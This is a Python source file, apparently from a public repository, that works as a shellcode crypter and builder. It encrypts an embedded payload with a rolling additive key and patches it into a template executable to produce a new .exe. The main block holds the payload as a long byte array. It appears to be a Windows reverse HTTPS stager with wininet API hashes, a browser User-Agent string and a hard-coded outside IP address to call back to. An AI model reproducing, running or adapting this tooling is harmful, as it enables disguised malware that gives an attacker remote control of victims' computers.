-
Notifications
You must be signed in to change notification settings - Fork 2
/
Encry_nettrans.py
178 lines (171 loc) · 7.59 KB
/
Encry_nettrans.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#
# import zhuye
import kaishi
# import lianxiwo
# import sys
# from PyQt5 import QtCore, QtGui, QtWidgets
# def open(self):
# self.second = lianxiwo.Ui_MainWindow()
# self.second.show()
# 调用go(var1 ,var2)第一个参数需要使用byte类型的list
class ENCRYTO():
def Encrpy(self, var1, var2):
self.code = var1 % 256
self.key = var2 % 256
self.shellcode = self.code + self.key
if (self.shellcode > 256):
self.shellcode = self.shellcode - 256
return self.shellcode;
def Encrpyall(self, load):
kko = 1
for i in range(len(load),1000):
load.append(0)
for b in range(1,len(load)+1):
#修改后
load[b - 1] = self.Encrpy(load[b - 1], kko)
kko = kko + 1
if(load[b-1]==256):
load[b-1]=0
return load
def go(self,shellcode,path):
self.raw = open("raw/old.bin", 'rb')
#文件的二进制代码
self.buf_1 = self.raw.read()
self.buf = list(self.buf_1)
#找到文件中shellcode位置
self.keyyy = 0
for c in range(len(self.buf)):
if self.buf[c]==0x66 and self.buf[c+1]==0x66 and self.buf[c+2]==0x66:
self.keyyy = c
break
#加密shellcode
self.co = self.Encrpyall(shellcode)
#在buf中导入shellcode
for i in self.co:
self.buf[self.keyyy] = i
self.keyyy = self.keyyy + 1
#buf就是exe的bin数据,存储
exe_file = open(path,'wb')
self.buf_byte = b''.join(map(lambda x: int.to_bytes(x, 1, 'little'), self.buf))
exe_file.write(self.buf_byte)
exe_file.close()
self.raw.close()
def change_byte(str):
by_int = 0
by_low = 0
if str[0] == '0':
by_int = 0
if str[0] == '1':
by_int = 1
if str[0] == '2':
by_int = 2
if str[0] == '3':
by_int = 3
if str[0] == '4':
by_int = 4
if str[0] == '5':
by_int = 5
if str[0] == '6':
by_int = 6
if str[0] == '7':
by_int = 7
if str[0] == '8':
by_int = 8
if str[0] == '9':
by_int = 9
if str[0] == 'a':
by_int = 10
if str[0] == 'b':
by_int = 11
if str[0] == 'c':
by_int = 12
if str[0] == 'd':
by_int = 13
if str[0] == 'e':
by_int = 14
if str[0] == 'f':
by_int = 15
if str[1] == '0':
by_low = 0
if str[1] == '1':
by_low = 1
if str[1] == '2':
by_low = 2
if str[1] == '3':
by_low = 3
if str[1] == '4':
by_low = 4
if str[1] == '5':
by_low = 5
if str[1] == '6':
by_low = 6
if str[1] == '7':
by_low = 7
if str[1] == '8':
by_low = 8
if str[1] == '9':
by_low = 9
if str[1] == 'a':
by_low = 10
if str[1] == 'b':
by_low = 11
if str[1] == 'c':
by_low = 12
if str[1] == 'd':
by_low = 13
if str[1] == 'e':
by_low = 14
if str[1] == 'f':
by_low = 15
return by_int*16+by_low
if __name__ == "__main__":
raw = open("raw/old.bin", 'rb')
# 文件的二进制代码
cc = ENCRYTO()
buf = raw.read()
byt = "\\x00\\x19\\x69\\xa0\\x8d".split("\\x")
print(byt)
byte_rss = list()
for i in range(len(byt) - 1):
byte_rss.append(change_byte(byt[i + 1]))
#y = [ord(c) for c in byt]
print(byte_rss)
text = [252, 232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15,
183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 240, 82, 87, 139, 82,
16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227,
60, 73, 139, 52, 139, 1, 214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248,
59, 125, 36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208,
137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 235, 134, 93, 104, 110, 101, 116, 0,
104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 232, 0, 0, 0, 0, 49, 255, 87, 87, 87, 87, 87,
104, 58, 86, 121, 167, 255, 213, 233, 164, 0, 0, 0, 91, 49, 201, 81, 81, 106, 3, 81, 81, 104, 81, 17, 0, 0,
83, 80, 104, 87, 137, 159, 198, 255, 213, 80, 233, 140, 0, 0, 0, 91, 49, 210, 82, 104, 0, 50, 192, 132, 82,
82, 82, 83, 82, 80, 104, 235, 85, 46, 59, 255, 213, 137, 198, 131, 195, 80, 104, 128, 51, 0, 0, 137, 224,
106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 95, 49, 255, 87, 87, 106, 255, 83, 86, 104, 45,
6, 24, 123, 255, 213, 133, 192, 15, 132, 202, 1, 0, 0, 49, 255, 133, 246, 116, 4, 137, 249, 235, 9, 104,
170, 197, 226, 93, 255, 213, 137, 193, 104, 69, 33, 94, 49, 255, 213, 49, 255, 87, 106, 7, 81, 86, 80, 104,
183, 87, 224, 11, 255, 213, 191, 0, 47, 0, 0, 57, 199, 117, 7, 88, 80, 233, 123, 255, 255, 255, 49, 255,
233, 145, 1, 0, 0, 233, 201, 1, 0, 0, 232, 111, 255, 255, 255, 47, 121, 88, 69, 70, 0, 106, 17, 130, 126,
176, 87, 153, 180, 35, 171, 24, 227, 209, 44, 20, 110, 53, 144, 163, 211, 176, 122, 167, 34, 236, 185, 148,
221, 46, 56, 103, 167, 212, 212, 8, 11, 17, 31, 2, 212, 215, 71, 221, 168, 216, 72, 205, 207, 172, 68, 102,
107, 219, 6, 60, 32, 234, 187, 69, 144, 116, 183, 34, 22, 48, 75, 104, 208, 1, 131, 144, 9, 236, 0, 85, 115,
101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 52, 46, 48, 32, 40, 99,
111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, 83, 73, 69, 32, 55, 46, 48, 59, 32, 87, 105, 110,
100, 111, 119, 115, 32, 78, 84, 32, 53, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 52, 46, 48,
41, 13, 10, 0, 201, 94, 244, 214, 140, 219, 150, 137, 217, 70, 166, 76, 171, 55, 186, 113, 196, 162, 237,
123, 128, 70, 196, 84, 36, 210, 122, 89, 214, 180, 213, 240, 41, 54, 223, 99, 40, 45, 77, 153, 71, 191, 159,
101, 4, 36, 137, 35, 216, 234, 156, 130, 144, 73, 1, 162, 204, 46, 215, 194, 164, 237, 34, 221, 110, 243,
129, 73, 23, 38, 67, 254, 177, 195, 174, 143, 42, 98, 25, 38, 75, 151, 71, 183, 72, 38, 7, 70, 203, 34, 214,
19, 59, 244, 65, 175, 105, 10, 19, 218, 128, 188, 229, 182, 92, 106, 116, 129, 227, 172, 54, 137, 175, 106,
75, 172, 68, 205, 85, 87, 220, 178, 36, 10, 140, 238, 68, 29, 35, 232, 208, 55, 197, 60, 97, 90, 48, 35,
178, 196, 126, 47, 166, 114, 106, 186, 212, 56, 68, 103, 161, 173, 0, 206, 11, 164, 105, 191, 13, 143, 193,
26, 46, 216, 126, 215, 52, 57, 58, 71, 20, 68, 128, 186, 247, 26, 158, 91, 48, 124, 164, 148, 147, 239, 169,
62, 195, 108, 93, 106, 183, 236, 80, 113, 24, 17, 68, 46, 103, 245, 100, 235, 213, 109, 252, 229, 200, 232,
40, 56, 210, 119, 208, 185, 215, 73, 204, 94, 194, 112, 202, 17, 158, 14, 53, 0, 104, 240, 181, 162, 86,
255, 213, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 185, 0, 0,
0, 0, 1, 217, 81, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192,
116, 198, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 137, 253, 255, 255, 49, 48, 49, 46, 51, 52, 46,
51, 51, 46, 49, 55, 52, 0, 25, 105, 160, 141]
klkll = list()
for i in range(len(text)):
klkll.append(text[i])
cc.go(klkll, "C:/Users/GalaXY/Desktop/artif.exe")